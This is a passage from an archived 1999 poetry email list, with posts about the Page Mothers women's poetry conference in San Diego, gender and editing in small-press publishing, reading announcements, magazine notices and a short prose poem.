reading. It was great news to hear that Littoral Books is going to bring out a book by Ward and I told her, I would have walked to San Diego to hear her read for five minutes, she is the best. Or perhaps the best was Juliana Spahr, who read her wonderful poem "We," really I think (I'm thinking now) her masterpiece, this expansive, inclusive, hyper-realistic yet surreal poem about constituency, foreignness, and enduring love. This reading had a valedictory quality to it, as many readers had o up and leave as soon as they had finished reading, for their shuttles were there to take them to the airport, so I didn't get a chance to say goodbye to many, you're there one moment and then you're gone, just like "life"! Anyhow I see I'm running out of time and I didn't even write down a list of all the readers, all of whom did very very well, so I will try to condense myself. Dodie and I were extremely pleased and proud of the good showings put on by the young San Francisco writers, including Giovanni Singleton, Kathy Lou Schultz, Renee Gladman, Pamela Lu and Taylor Brady; Bill Luoma brought down the house as usual; Lyn Hejinian read from "Happily"; a duo of Jen Hofer and Summi Kaipa brought off a performance piece based on Hejinian and Harryman's collaboration "The Wide Road" (which I wouldn't have thought could be done, but they did it); a young New York poet called Alastair (sp?) Julian (sp?) of whom I had not heard was very touching; and then it all seemed to wind up to a close with Dodie's reading from the "Letters of Mina Harker" and Rae Armantrout wound up last, powerful, triumphant, grinning and standing there, as wave after wave of applause washed over her in thanks for her part in organizing the conference.

With Joel Kuszai, Joe Ross, John Granger, Stephen Cope, Rick Burkhardt, Bill Mohr, Hung Q. Tu, etc., all living in San Diego and of course the more established figures Michael Davidson, Quincy Troupe, Jerome Rothenberg, David Antin, one did get the feeling there's a lot of writing going on in San Diego but that it was largely a man's world, and so this female incursion into its dominion had the effect of a dream. Like many others, I'm very grateful to Howe and Armantrout for putting on the event, and to Kuszai, Granger, Ross and Cope for being so hospitable to us at every turn. Yes, there was X amount of friction, yes the debates about inclusivity, elitism, racism and revisionism hatched at the "Page Mothers" conference will color our world for a long time to come, and yes I had a terrific time and I hope they do it again.

Kevin Killian <---- page boy

PS, to all those who have written me back channel about the special "Page Mothers" issue of "Mirage #4/Period[ical]" (our 84th issue) we will be mailing them out to you in the week to come. We still have some copies left. This is the issue with one page of work each by Dodie Bellamy, Mary Burger, Cydney Chadwick, Norma Cole, Beverly Dahlen, Patricia Dienstfrey, Kathleen Fraser, Susan Gevirtz, Lauren Gudath, Lyn Hejinian, Brenda Hillman, Myung Mi Kim, Pamela Lu, Laura Moriarty, Yedda Morrison, Rena Rosenwasser, Jocelyn Saidenberg, Leslie Scalapino, Kathy Lou Schultz, Mary Margaret Sloan, and Elizabeth Treadwell.

↑ Index

176. R M Daley

Re: Page Mothers & Delinquent Daughters

Sat 13 Mar 1999

---

hello elizabeth treadwell, with whom i would very much agree at least in a need to have a little more careful approach to placing expectations/obligations/ole fashioned desires on the shoulders of a 'younger generation' - we've heard this charge before, no?, from some of the gatekeepers of 'language poetry' - that this lazy bunch of upstarts aren't doing a damn thing to further the cause etc etc

there are so many obviously troubling issues with the form of this kind of assigment - most notably, it seems to me, is that the work that this 'older generation' did is not only not my work, but was in large part intended to allow me to avoid doing 'their work'- eg, my mom made it possible for me to have a lot more options than to have to work all my life to have space/time (as a woman or as anything else) to work -

a second very very needful point on which leslie scalapino spoke , according to kevin killian's report, at the pagemother's conference, is the danger/stupidity of the tendency of poets to parent-worship - scalapino probably did not use the word 'stupidity', but as one of the 'younger' who is so charged (by the 'older who have served their time) with responsibilities to the world, tradition, the plight of women etc, i do take much issue with the nonchalance with which poet-writers assume heroes, find it necessary to have pet influences and mythical notions of some person behind the poem- and, if killian's sum was right-on, i would agree with scalapino, that the cult of the revered figure is rather in service of obliterating interaction with the writing and if scalapino, in her argument against immersing oneself in some kind of lineage, 'makes some abrupt jumps', all the more reason for actually looking at the writing that she is talking about, no? - is it not about time that chronology (and the presumed debt to preserve it) cashed in its chips? - as one of the no-good 'younger' people, i feel quite fortunate that i can be in cahoots with books like on certainty, geographical history of america, the new sentence, querlle, all this every day, remebrance of things past, subterraneans, book of urizen without having to always, as a sonny rollins-loving friend of mine once said, worry the bridge

rachel daley

↑ Index

177. david bromige
re charles alexander's bon mot re page mothers report part 2
Sat 13 Mar 1999

Just to piggyback on Charles' tweak re regionalism,,,,and to prove "the more the meme chose"....some 20 years ago, I went on the road to a number of places back east, and in the course of reporting on my findings to one of my hosts, I said "I think we live in a time of multiple provincialisms." To which he replied, "Oh, I dont think you'll find much of that here in New York." David

↑ Index

178. david bromige
re the full jennifer
Sat 13 Mar 1999

---

another amazing sondheim. I am going out to buy the cd of american woman. But really I shd save my money to pay a nerd to come here & teach me more about my computer programs. I have some vicodan left over from the 80s. david

↑ Index

179. J Kuszai
of Mothers & Daughters
Sun 14 Mar 1999

Because I am here at ground-zero, exactly seven days after the Page Mothers Conference wound down with one of the best group readings I have ever been party to witness, and it seems--once again--that the discourse surrounding this conference will forever be held to whispers and will not become part of the historical record, save for a useful notation of its proceedings by one Kevin Killian, and because some of my thinking was aided and advanced by the proceedings and the conversations surrounding them, I feel that it is time for me to emerge from my recuperative lurking to address the conference and a few other things that have been stewing inside me since we last snuggled up against the cold winds of December's scandal. I was tempted to hold my tongue on this, for it isn't really my place to comment--as a white male, etc.etc.--("whale" for short). On the other hand, I can't sit by in good conscience and watch this space devolve once again to a daily dose of chit-chat, which serve only to amuse the few people who bother to participate. The relative silence in this space--at the hands of those who otherwise know good and well that they should speak up--breaks what little of a heart I have left. Even the quiz presented in this forum by my new friend and true Page Daughter patriot, Kathy Lou Schultz, seemed only to add to the air of mystery and the strange shroud of silence surrounding the events. So, all this is to say, watch out, for what follows here is a multiply-long post, only some of which is addressed to the conference, which as I said helped me begin to solve problems which I see in the current landscape of language arts and the "community" which its relatively small-scale industry evokes and encourages.

Welcome Back - NOTICE to LURKERS

One of the last things I was working on for posting to Poetics before I bailed unto lurkdom was an essay on my "progress" as an editor. A kind of autobiography in editorial discretion. And it was partly in response to the prodding of Dale Smith and others who challenged my notion that some of the best writing being done today is being done by women, especially women who live in the San Francisco Bay Area. I had no real theories at that time about why this was. Indeed, I don't think that gender is any kind of a determining factor. I never said that I thought that women wrote better than men, but that the poetry that I liked was more often to be written by women--and often it is the case that I only found out afterwards, as it is often my practice to read books and magazines from back to front. There is, as we all know, lots of poetry by women which is terrible--as terrible as anything being written by men. One of the reasons that I think that this is so difficult for some people to take is that men are so much more present. It has been pointed out many times that men are more likely to send out their work to be reviewed by editors such as myself. When I posted to this space a call-for-work addressed to WOMEN ONLY, the majority of inquries I received were still by men, something which confused me a great deal. Do most men feel themselves to be exempt from the criticism of their sisters?? Even my gesture there, as a male editor, seemed odd and the irony of all that wasn't lost on me. The reasons that women don't contribute to this space, or don't submit their work to new magazines and presses may be found in the attitude of the men who inhabit these spaces. Look at the bizarrely phobic attitudes exhibited by some men on this list at the very suggestion that I have raised here. They can be characterized often by a spirit of ill-will, as if being the cultural dominant were somehow a tradition, not unlike the racist attitudes expressed by the right wing establishment in California. It saddens me that a number of women who were at the conference haven't, in fact, felt the need to transform this space into one in which their interests were the status quo, for no "public" forum is as ripe as a takeover, even a temporary intervention, as this one is. And while several women at the conference indicated to me that they felt that the list wasn't a place where they felt comfortable, I can only hope that this is no longer the case, that under Chris Alexander's leadership, that this space will CONTINUE to transform into something that we can all live with, or even dare I say it, feel excited to participate in. And frankly, being that this space in no way represnts any kind of democratic vista, an ideological take-over, some kind of feminist intervention would be a welcome rebuke to the potentially unfortunate return to "business as usual" that has marked the list in recent weeks.

I have learned, however, there are reasons that women may find themselves disinterested, finally, in our modest project. And while I received lots of back-channel congratulations regarding my efforts to "take a stand" back in November and December, something that someone said to me off-list has stuck with me. This person, who found herself also particularly embattled at a certain moment, asked the question-- at such a time of struggle in a public forum--"where are one's friends?" -- and many of my supposedly closest friends, some of whom are former and forthcoming "meow press authors" abandoned ship like so many Titanic 1st class-passengers, leaving us "poetry workers" to attempt to save the vessel by bailing water from the sinking ship. I am not complaining or crying out at this point, having achieved enough of a distance from the spectacle's last days to have made a number of realizations about the nature of this "community" and the group of which it is a fractionate representative. I will save those speculations for another time, as I am sure that this debate will rise again. Perhaps it is a lesson that all of you have already learned.

Chris Alexander does derserve praise, though, for undertaking this thankless task, and (I might add) also some help. And by that I mean that as the list returns to a status-quo (minus the bilous discharge of people who have no interest in this communitarian project) where he really needs your help is in the development of this space into an articulate energy built up over pre-considered postings--more a "magazine" than a "chat-room." I've said this before, and I know I'm not the only one with interests in this direction. The useful thing about the new format is that the moderator can have influence over the direction of the list. That itself becomes usefully ideological. There is no need to have every one-liner forwarded to the list. Likewise there is no need to put undo peer-pressure on Chris to forward such obviously back-channel chitchat to the list. I can imagine that he feels it would cause undo strain on his very diplomatic personality to try to appease every last hastily-strewn commentary. We've gone that route. It's time for a new attitude. This is not anything other than a call for all LURKERS to rise up and take a stand.

Page Brothers in Drag:
Wannabe Women

or
Can I borrow your identity to advance my career?

The conference here last weekend was too multiple to address in any complete manner. I hope that other views on this will be presented, here as well as elsewhere, as the more dialog about "what happened" I hope will go a long way towards developing an adequate picture of the events. Before I go into my very subjective perceptions of one aspect of the conference, let me try to address some of the larger pictures that come through for me.

It was great to see such a grouping of power brokers (mothers) and their attendant daughters, with a few of us boys scattered in for effect. The conference itself was caught in the poetry festival and academic conference dilemma, and like many of these mixed-project conferences, this was a useful bringing together. Perhaps it is a legacy of the theoretically-minded "language" school, which could be said to be one of the major literary preoccupations of many of the women at the conference (mother and daughters), that so many of the attendees (both presenters and audience members) would be so astute to the issues involved. So while it was academic on the one hand, many of the people present were not "academics" per se, something which made the conference so much more interesting than the typical academic conference, which usually has the air of a good natured sporting event, with everyone shaking hands and going home afterward. The fact that Marjorie Perloff's comments so angered Carla Harryman and others is testament to the fact that with this group the line between what constitutes theory and poetry has been nearly erased in some corners of the poetry world, and indeed, in some corners of the academic mainstream. And this is an issue that is worth developing further, but I will save it for another time.

What did anger Carla, I think, brings me closer to my "thesis" about the conference, or what it meant for me. The notion that the women language poets were somehow practioners of a theoretical orientation defined and packaged by the men of that generation (Silliman, Watten, Bernstein, etc.) is perhaps not the main issue as far as I can see it. Marjorie did try to stake out too much in her brief talk, which was excerpted from a longer talk to be presented at the Barnard Conference next month. And perhaps there rests some of the problem. I don't think she got to make all of the connections she put underway, and while her argument may have depended upon the suppositions raised by the recounting of the early days of "language" history (told as male dominated in terms of theory production goes), her argument and presentation suffered because she was unable to tie it all up at the end (at least how I imagined how it might end). While she did admonish those present to more rigorously define what is meant by "innovative" and not use that word to define what I perceive to be largely social groupings of newer (emergent) poets, that proposal was made in the face of an angry group in the audience, led by Carla Harryman, who took issue with her historical portrayal of the women as not being theorists and the males being out front, etc. Unfortunately, Perloff's call for a more rigorous theorizing of the issues by women, especially younger women, was made before Jen Hofer and Summi Kaipa gave a brilliant reading / study / performace during the reading on Sunday, when Perloff was absent. Perhaps there is some deeper history to what could be seen as "academic vs. poet" arguing, as I saw an enraged member of the Harryman clan go chin-to-chin with Perloff a few years ago in the cash bar at the Orono Conference on the 1950s. As one astute ringside watcher remarked then, "at least Perloff shows up for the fight." And despite the contentious response her remarks elicited, there is perhaps another way of looking at all this which brings me closer, yet still (hang on, please), to the core of my argument.

It was inappropriate for Perloff to spend so long on a particularly male history at a conference devoted to the Page Mothers and especially since she was on the "future" panel, the conversation supposedly arranged to elicit views on where "we" might go next-- and the next wave, exemplified by Renee Gladman's and Pamela Liu's presentations, the highlight of the conference for me.

It was inappropriate, in my feeling, though I don't think it needed to be. Regardless whether you think Perloff's history was right or wrong (and I think we could debate this, though I would like to see a copy of the whole paper, since as I have said, I felt it was the subject matter alone which was inappropriate). Perloff's admonition to do theorizing more rigorously, to propose a project beyond the gratuitous fluff and name-dropping reviews so common in today's poetical discourse (a trend not limited by gender) was something I very much applaud. Someone here on this list asked recently what might be considered "new" and I think if one could take on that question, they might be setting themselves up for more criticism, as even the search for a "new thing" based on some kind of formal principle might be seen as another masculinist gesture, an attempt to prescriptively orientate our literary bearings based upon modes and criteria developed through Poundian economies, the very economies our Page Mothers and Fathers had sought to undo. It seems to me that to develop a sense of what consitutes "new" now would have to take under consideration such things as "place," "identity" and some of the other taboo issues that we are always so quick to dispense with when formulating our geneologies. And by "we" here, I am in part referring to my white brothers, who have demonized such practices as developing countercultural strategies as even those employed by Bernstein, Watten, Sherry, Silliman, and others, who sought to arrange a sub-cultural network for distribution, discussion, and more, around new poets and their publishing activities.

Tangent-- History as Trangression

When I first gave birth to my desire to publish a series, Charles B., warned me to start small and develop a readership, which he might have called a community, or a constituency. I had originally cooked up a wild plan with Arkadii D., to publish books for cheap, printing them in St. Petersburg on Finnish paper. We could get books for 10 cents in paper back and 50 cents in hardcover. The only problem was they had to be printed in editions of 5,000 or 10,000. Anyone can see the problem here. And while I toyed with the idea of bilingual editions of Russian and American poets, the idea of sending 8,500 copies to Moscow to be sold at cigarette stands wasn't exactly what I had in mind.

The development of this community of readers has been my strategy from the beginning. Focussing on publishing works by lesser-known poets, and piggybacking them on those works by the likes of Scalapino, Bernstein, and Silliman, just to name a few, was one means of accomplishing this goal. And I hope that as my publishing venture reaches this point, this crossroads, that it has been at least modestly successful in getting works out there. But now I find myself in a troubling position.

Never in my wildest dreams did I want to be in the position of judge and jury. The influx of manuscripts that trickle in now are all very much worthy of being published, whether by my press or another of similar outlook. But what is that outlook? One writer, in a review of Meow Press for the Poetry Project Newsletter, likened the press to some kind of establishment-oriented apologist for the State of New York, a co-conspirator in what she termed "crimes" : SUNY-Buffalo and the Poery/Rare Books Collection at that same school. Anyone who knows me knows how much this slam hurt me personally, as much forged upon misunderstanding and misreading as upon a failure to communicate. While I was never mentioned in the review, it was very much a personal slam, one which proposed to position MP as an establishment-oriented venture, as a student of Bernstein, etc. But this connection, the institutional affiliation is a problem, I realize, as it is something that I find to be problematic, and has been my critique of the poetics program in general, or any poetics program, such as that at New College of California, San Francisco State, and others.

For me the role that institutions play in this development of literary groups and histories in general is a disturbing but real presence. These schools go a long way to reproduce the very formal preoccupations which brought them together, indeed exceptions at Iowa and Buffalo are still rare. But, rather than some ideological cloning, I think that it is within the institutional structures the very social fabric which permits editorial behavior is patterned. This pattern is then continued "outside" where the institutional preoccupations are transformed into more social-only networks. If you look at the globs of graduates from x-school, I think you will find this to be the case. And athough I don't think that such a fact has to be always bad, I will again restate my general theory of editing scenes, zines, and presses: such editing is generally all "social" and that the ideological fallacy most usually presented has some sort of connection to what Perloff so rightly decried as "innovative." For instance, to most people the difference between n-th generation New York School and n-th generation language poetry would be negligible. Indeed, a friend of mine, an MFA at San Diego State U., recently called Quincy Troupe a "language poet" -- something which made me swallow the very salt I had thought to pinch for the grain's taking. So within these various networks of the "innovative" - a term so vapid as to be utterly meaningless - there are infact social groupings which have meaning and importance to those who inhabit them. And while the Page Fathers are looking for younger poets to pick up the stick to formulate some sense of the newness which was their poetics heritage (nudge nudge Ron, nudge nudge Bruce), the Page Mothers (especially in San Francisco) have perhaps been responsible for a whole generation of younger women writers who have emerged with similar interests and concerns, social and theoretical, some of which were articulated at the conference.

Lesbian Disco, or why I can't dance

Listening to and watching Pamela Liu and Renee Gladman address the conference, it occurred to me that while they may have appeared on the "futures" panel almost as an after thought, an accusation I haven't seen supported, they were the greatest and truest representation of the future. Indeed, a bomb went off in my head, one which told me that I was irrelevant, outdated, uninteresting. I felt swept aside by the convincing nature of their presentations, their motivated commitment to what they are doing and their peers. And one of the great problems with this conference was that not everyone could make it. A very west coast phemenon, the pre-eminence of Bay Area women (younger and older) should have been of interest to everyone--on this list and otherwise. The silence from Buffalo on this front has been very telling for me, the silence and seeming disinterest coming from New York. Not everyone could be paid and invited, but it seems to me that this conference was either something you are interested in or not--and that some of the disinterest was based on not being invited. One criticism I do have of some of the would-be attendees, is this almost universal sense of the need to be recognized, and the bitter whining that went on at least here on the west coast, regarding who would be or wouldn't be invited is perhaps a bigger epidemic than I can address here. But Pamela's and Renee's presence on the panel stood in for much wider happening, one they addressed in their talks with great generosity.

When Dodie and Kevin came to Buffalo in the Fall of 1997, they spoke of this range of younger writers, almost none of whom I had heard of. It was as if this incredible world had opened; so many things to learn about-- so much to read and discover. My world had been dominated by the New York scene, past and present, and by the historical Bay Area, from Jack London to the departure of Ben Friedlander, who was my primary source of Bay Area history and intrigue. And despite the fact that it is a literary community now run by "middle aged women" as someone put it at the end of the conference, the history of the Bay Area, with a few exceptions had been a primarily male history. So you can imagine how exciting it was to hear of this community in development.

What I learned from Pamela and Renee may not be so easily put into words, and hopefully I will continue to learn from them as their works reach a wider audience though the underground small press economy of which I have been a part. When I voiced my sense of being irrelevant to a friend after the conference, the response was sheer dismissal-- i.e. that my press was an important press of new work, within this subeconomy, etc. and that I shouldn't feel that way. But being relevant here isn't about being in a position of power, though my "power" is completely relative, and the use most people seem to have for me seems completely instrumental anyhow. I sensed that magazines such as Clamor, Outlet, Proliferation, and many others (including the glossy Lipstick 11) were involved in this community building effort-- often through the use of materials gained by theft, recycle-bin diving, and creative misuse... an economy of production very close to my heart. The development of these editorial and publishing collectives, scene-building in the area of San Francisco, Berkeley, and Oakland-- this is the creation of the kind of literary community that will develop its own methods of extending their poetical discourses into the world at large. By that I mean that these women (and some men, as it doesn't seem to be exclusively one thing or another) will establish their own networks for the the development of the kind of poetics theorizing that both Silliman, Perloff and others (even myself) have called for at times. That theorizing is going on, but it will be excellent to watch them undertake this project as they begin to aquire power and authority (a dangerous trade-off, as I have discovered), as they age, as another group of upstarts seeks to establish themelves in the wake of this intensely interesting group of women writers. All of it is so new to me. During the conference I was suddenly blinded by the shock of their brilliant glow and I wished that more people of this community had made it down, as the Conference was one of those landmark historical events which will only grow in significance as the histories of it get written and rewritten.

Just as for me the New Coast Conference in 1993 was a formative experience, one which inspired me to do what I do now, I hope that they will have a similar sense of the Page Mothers. But it isn't for me to write that significance, and perhaps they will have cause to have a conference of their own, wherein such poetical exchanges can include more of their contemporaries.

As we reach the end of the decade (I am less interested in the millenial urge as I am 10-year clocks) such a re-thinking of how we do all this might be in order. For me, I feel myself in a great crisis, one which my brothers might not share. I felt a giant kick in the pants by the Page Mothers Conference. And not to be a reactionary, not to ask how might we white boys might best express our identity, or shore-up our hegemony, but instead, how might we rethink our very sense of place in a world which seems hell-bent at eradicating any real sense of difference as it attempts to co-opt the very communities it seeks to include. Not polarizing smallness, but how to proceed? For me, I am much more interested in education (and not pedagogy) than I am aesthetic issues these days, and that may be only the beginning of my dilemma. I live 15 minutes from Mexico and I know little about the poets there. The road to Tecate is lined with police--border guards. And on this note, my page brothers here in San Diego will be the recipients of this questioning--and my brother Bill Marsh and I had a wonderfully exciting getting-nowhere-fast conversation about these issues-- and I know even my quick sunday morning portrayal of this question is complex, incomplete, and only beginning. But we (four boys from s.d.) are starting a magazine. Hopefully, some of you will see and feel the results of our talks about this.

Thanks for your time-

joel k
of the valley
Spring Valley, that is-

↑ Index

180. Lowther,John

Re: problematic question

Sun 14 Mar 1999

Maria Damon

cd you tell me (us) what Literature Nation is ?

> well with all due modesty, and with acknowledgment that miekal is the > prime > mover here, Literature Nation seems pretty new to me...
>

)L

↑ Index

181. derek beaulieu / house press
an introduction...
Sun 14 Mar 1999

hi. my name is derek beaulieu and i am a rather new addition to the UB Poetics list having joined in just the last few days. i thot i should drop the list a note and introduce myself (as well as my press - housepress). ive been writing for only a few years - strongly influenced by the work of bpNichol, steve mccaffery, and the poetry of darren wershler-henry and damian lopes. i am also the editor and publisher of housepress - a small press dedicated to concrete poetry (and other forms as well) published in chapbooks, pamphlets, postcards, and ephemeral forms - saw in the archives and inquiry abt "keyboard po(e/li)tics" quiet a few months back - that was a chapbook exploration that neil hennessy and i wrote (a "pataphysical and oulippan look at the typewriter keys). anyway - enuf abt me - its good to be here and do hope to participate in some discussions and learn a great deal while here... yrs derek beaulieu

↑ Index

182. Kathy Lou Schultz
Re: of Mothers & Daughters
Sun 14 Mar 1999

Joel K. ("Daddy Page") raises so many issues of grand importance that I can only begin to mull them over on this rainy San Francisco Sunday. First, I want to say that at the time of the Poetics List Explosion, that "as a woman," I didn't feel "excluded;" I felt pissed! There's a difference. The goings-on reminded me very much of the time I have spent doing political organizing and facillitating meetings in which a number of folks (yes, predominantly male) seemed much more interested in disruption and power-grabbing than in furthering any sort of positive action or discussion. The accusations levelled against Charles B. concerning "censorship" seemed to me simply ridiculous. I do not believe that Charles or Joel censored anyone in their delicate handling of the Poetics List. Rather it seemed that a number of men preferred to wage a pissing match with Charles--and Charles rightly declined to participate. I believe it was correct to shut the List down and regroup. And I hope now that people will begin to participate with a renewed sense of vigor. A very real impediment to this participation is, I think, time. I know that when I've been working 10+ hour days in the high-tech publishing industry, I've simply been too exhausted to reply to the Poetics List. But I've made valuable connections here, and found out some important information--including the announcement of the Page Mothers conference. I don't think I would have necessarily known about the Page Mothers conference if I had not read about it here. No, I wasn't "invited," but I felt it was very important to "show up" in all senses of that term. As a girl from the working class, I've seen again and again the futility of waiting to be invited to the table, so have set about making my own place there. That's much of what Lipstick Eleven is about. (In the "official" history I'm about to record) Jim Brashear and I co-founded Lipstick Eleven. We developed Issue No. 1 along with Catalina Cariaga and Roxane Marini. We worked as a collective. In terms of "identity" we were about as diverse a group as one could assemble in terms of race, class, gender, and sexuality. What brought us together was a shared poetics, the experience of having been "outsiders" at SF State, and friendship. For me, the experience of this publishing project is very much about the love and friendship I have with/for my fellow editors. I don't care if that's corny; it's true! And that's very much what makes the project work, as well as what makes it difficult (and necessary). After Issue No. 1, Roxane and Catalina declined to continue, but Jim and I forged ahead, and when Robin Tremblay-McGaw approached us about joining the Lipstick Eleven crew, we welcomed her with open arms. Robin is particularly interested in chapbook publishing, and has opened up new vistas for us. Another element that brought us all together is the teachers we worked with: namely Myung Kim and Bob Gluck. They have both taught me a great deal. More about the conference later--and I hope others will join in. Kathy Lou Schultz

↑ Index

183. Kathy Lou Schultz

PageMama O Rama (quiz, part 2)

Sun 14 Mar 1999

Okay, kids, this time it gets a little tougher: this is a fill-in-the-blank. Don't worry; there won't be an essay question (this time). And no whispering!

1. The publisher who printed (mimeo-ed) Susan Howe's first book.

2. The name Ann Waldman wanted to give the writing school at Naropa (as stated in Lee Ann Brown's talk).

3. The telly tubby Bernadette Mayer displayed during her reading.

4. Name of Bay Area book publisher celebrating their 25th anniversary.

5. Online journal project being launched by Kathleen Fraser that will focus on "innovative reading/s--writing in answer to other writing, from opened perspectives & models."

Answers:
1. Maureen Owen
2. The Gertrude Stein School of Disembodied Poetics
3. Po

4. Kelsey St.
5. HOW2

↑ Index

184. Todd Baron /*/ ReMap Readers

LOVE and ReMap

Sun 14 Mar 1999

REMAP is moving its west coast office.
ReMap #7 is delayed due to this move and hopes its readers and contributors will understand and still await the issue bouund and determined to be ON LOVE

as of 3/28/99 our new west coast offices reside in Culver City (not far from what was once MGM--the heart of Hollywood)

Todd Baron
3625 wesley street
culver city ca. 90232

"...grows the heart grows...fonder"

"four letter word"

↑ Index

185. cris cheek

e-dress wanted

Sun 14 Mar 1999

Anyone here got a working e-dress for David Antin? I'd be much abliged. Also anybody who saw his 'Sky Poems' I'd be keen to hear about that experience and if you've got any documentation of the events.

thanks in advance

love and love cris

↑ Index

186. komninos zervos

Re: problematic question

Sun 14 Mar 1999

---

try http://www.experimedia.vic.gov.au/cyberpoet/zine

and http://www.experimedia.vic.gov.au/~komninos

and

http://members.tripod.com/~repoem/

and http://www.burningpress.org/wreyeting/index.html

for starters, and you could check out my essay on technoliteratures on the internet at http://www.experimedia.vic.gov.au/~komninos/kkztext.html

regards
komninos

Maria Damon wrote:

> At 3:46 PM -0500 3/12/99, Lowther,John wrote:
> what's happening that seems New to anybody out there ?
>
> well with all due modesty, and with acknowledgment that miekal is the prime mover here, Literature Nation seems pretty new to me...

↑ Index

187. raea100900
Silliman reading
Sun 14 Mar 1999

Dear List,

I thought those of you near or passing through San Diego should know that San Diego is about to be the site of another interesting event. Ron Silliman will read at D.G. Wills Bookstore in La Jolla on Monday, March 22 at 8:00 pm. I hope to see some of you there.

Rae Armantrout

↑ Index

188. Susan M. Schultz
Re: LOVE and ReMap
Mon 15 Mar 1999

I still have lots of copies of _Tinfish_ 7: please buy copies for $3 ($2 under the usual price). The covers are unique Pacific region weather maps by Gaye Chan. The journal features poets from the Pacific region; expect to be surprised! I haven't yet put this issue on the web, and won't until I get more business.

Back issues are also available at a discount.

Kathy Banggo's _4-evaz, Anna_ is being reprinted for the third time; it's yours for $4. Hawaiian Creole English and standard; lyrical and tough. A "best seller." Much taught at the University of Hawai`i-Manoa.

I'll be going to the AWP conference in Albany in mid-April and would be delighted to hook up with listees. Will be spending a few days in Denver prior to the conference. Likewise.

Susan Schultz
47-391 Hui Iwa Street #3
Kaneohe, HI 96744 USA

↑ Index

189. A. Jenn Sondheim
the little train
Mon 15 Mar 1999

/

the little train

one publisher tried to take my book out of production, saying no one would read it. one publisher reneged. one publisher paid for, but didn't bring out a second book, because it was too expensive. one publisher probably jumped up and down but I wasn't there. I was one publisher. one publisher lied and kept me on hold forever, doing nothing. one publisher defended my articles. one publisher is very kind. one publisher is very evil. one pub- lisher had his files destroyed because the typesetters found my work ob- scene. one publisher never sent me copies. one publisher destroyed my cat- alogs. two publishers are my closest friends. one publisher died. one pub- lisher was wonderful and worked with the book. one publisher had his files returned and had to find a new printer. one publisher was wonderful with terrific production values. one publisher produced chapbooks with amazing speed and gusto. one publisher required the subtending of the book. one publisher is on hold. one publisher wore slippers. one publisher found me a nuisance. one publisher found me easy to work with. one publisher won't speak to me. one publisher welcomes me with open arms. one publisher found my old cd's and interviewed me on the phone. I almost fell in love with one publisher. one publisher published without permission. one publisher stole my work. one publisher sent me a contract stating my work would belong to one publisher forever. one publisher rearranged my texts. one publisher did not.

or intense dust, the long and languorous road to suffocation, always dif- ficult to breathe. or filtering through the airconditioned technology of distributions:

records, tapes, magazines, anthologies, chapbooks, mono- graphs. or the sorriest of accounts in a certain coming-into-being. or violent and unmitigated jealousies, nightmares, smashed dreams of fame and fortune. or symptomatic of a closet and impure personality. or the submer- ging of the jewel of talent. or the righteous suppression of the mediocre. or neglect or perseverance. one publisher never answered. one publisher refused to answer or return the work. one publisher would if one publisher could.

↑ Index

190. Maria Damon
Re: problematic question
Mon 15 Mar 1999

At 2:06 PM -0500 3/14/99, Lowther,John wrote:
> Maria Damon
>
> cd you tell me (us) what Literature Nation is ?
>
check out http://net22.com/qazingulaza/joglars/litnat/index.html lit nat is a piece of hypertextual interwriting with all kinds of groovy special effects. as i'm a techno-neanderthal, and something of a poetic neanderthal as well (though folks on the list have done an admirable job of dragging me kicking and screaming into the present) i have no way of knowing how much of a novelty this website actually is, but for me, it's thrilling.

↑ Index

191. Michael McColl
Re: problematic question
Mon 15 Mar 1999

On Sat, 13 Mar 1999 09:26:29 -0600 Maria Damon said:
>>
>>At any given point, maybe about 1% of 1% of what is being produced is >>good enough to stand the test of time, and to be acknowledged >>subsequently as representing a genuine development of what had gone >>before. Both history and statistical probability are stacked against you >>in any quest to satisfy both a craving for novelty and a search for >>significance amongst the contemporary output.
>>
>>
>>Gerald O'Connell

>>
>with all due respect for the care that poets put into their work, it is >this sort of judgment that my whole professional life is devoted to >dismantling --cliches like "good enough to stnad the test of time" as if >that is or should be the prime consideration. it seems to treat poetry
>like a commodity (does it come with a lifetime guarantee, or only a >one-year warranty? will i have to buy a new one in 5 years, or will this
>last?)

Without entering an imbroglio over the test of time, which in fact isn't quite as easy to dismiss as all that, I would suggest that the test of time as applied to commodities is just as likely stolen from the world of art; commodites are being treated like art, perhaps, rather than the other way around. In any case, half the writers talked about on this list have passed, or are passing, subscribed to the notion, and the counter-traditions which have been assembled comprise writers who have, yes, passed a test of time.

a test of time, no?

Mike McColl

↑ Index

192. Maria Damon
Re: of Mothers & Daughters
Mon 15 Mar 1999

---

interesting musings, joel, and i appreciate your heartfelt commitment to what you're saying. i don't think i knew about the pagemothers conference. so i didn't go. i think it's fantastic that folks are finally recognizing ntozake shange as part of this feminist textual expansion --i remember mentioning her and her "scene" on an MLA panel a few years ago (with m davidson and e dorn) and feeling that i was a fish out of water, though certainly nobody (except dorn) was hostile (and he was not hostile to me as a person, quite the contrary, very gracious, but our talks were diametrically opposed in sentiment, conviction and dare i say ideology). also i'm glad, though i agree with the caveat about turning certain persons into icons, that there can be this kind of celebration since it is obvious that women have an enormously influential location i the "new poetries" --in fact, and i've said this before on the list, it was my concern with "women's writing" that first led me to "language" type poetry; it wasn't until i met charles b and some of the other guys at the louisville conference a few years ago that i even read these guys's work, let alone their theory and a few decades of internal debate (true confession time; i also have never read hamlet, and i hold a tenured position in an english dept). and i agree with kathy lou schultz that the "opposition to power" expressed by some of the guys in the days leading up to the List Implosion was misdirected at charles and certainly had overtones of competitive oedipalism. i for one have not been especially engaged with gender issues on this list because it doesn't seem the place to do this --it's exhausting and the payoffs are few. that's not what i use the list for. as for the perloff/harryman standoff, i have never met carla harryman (so don't know her personal style etc) and i'm quite fond of marjorie, but she (m) is a controversialist and often i just HAFTA disagree w/ what she says. this is a risk since she occupies such a significant gate-keeper position in the field, but i think in the long run it strengthens the field to have diverse positions articulated, even sharp disagreement, among equals. so, carry on, everybody --marjorie, carla, kathy lou, joel, henry, charles. proliferation of subject positions is all to the good.

↑ Index

193. Michael W Bibby
Li-Young Lee Reading
Mon 15 Mar 1999

For any of you who might be in the south-central PA region this week: Li-Young Lee will be reading at Shippensburg University on Thurs., March 18, at 7:30 pm in Old Main Chapel on the SU campus.

Questions?/directions?--b/c me at [redacted]

Michael Bibby
Department of English
Shippensburg University
1871 Old Main Drive
Shippensburg, PA 17257
[redacted]

↑ Index

194. nuyopoman
Peoples Poetry Gathering, NYT Travel Section
Mon 15 Mar 1999

March 14, 1999, Sunday
Travel Desk

TRAVEL ADVISORY; Poets Will Converge Upon Manhattan

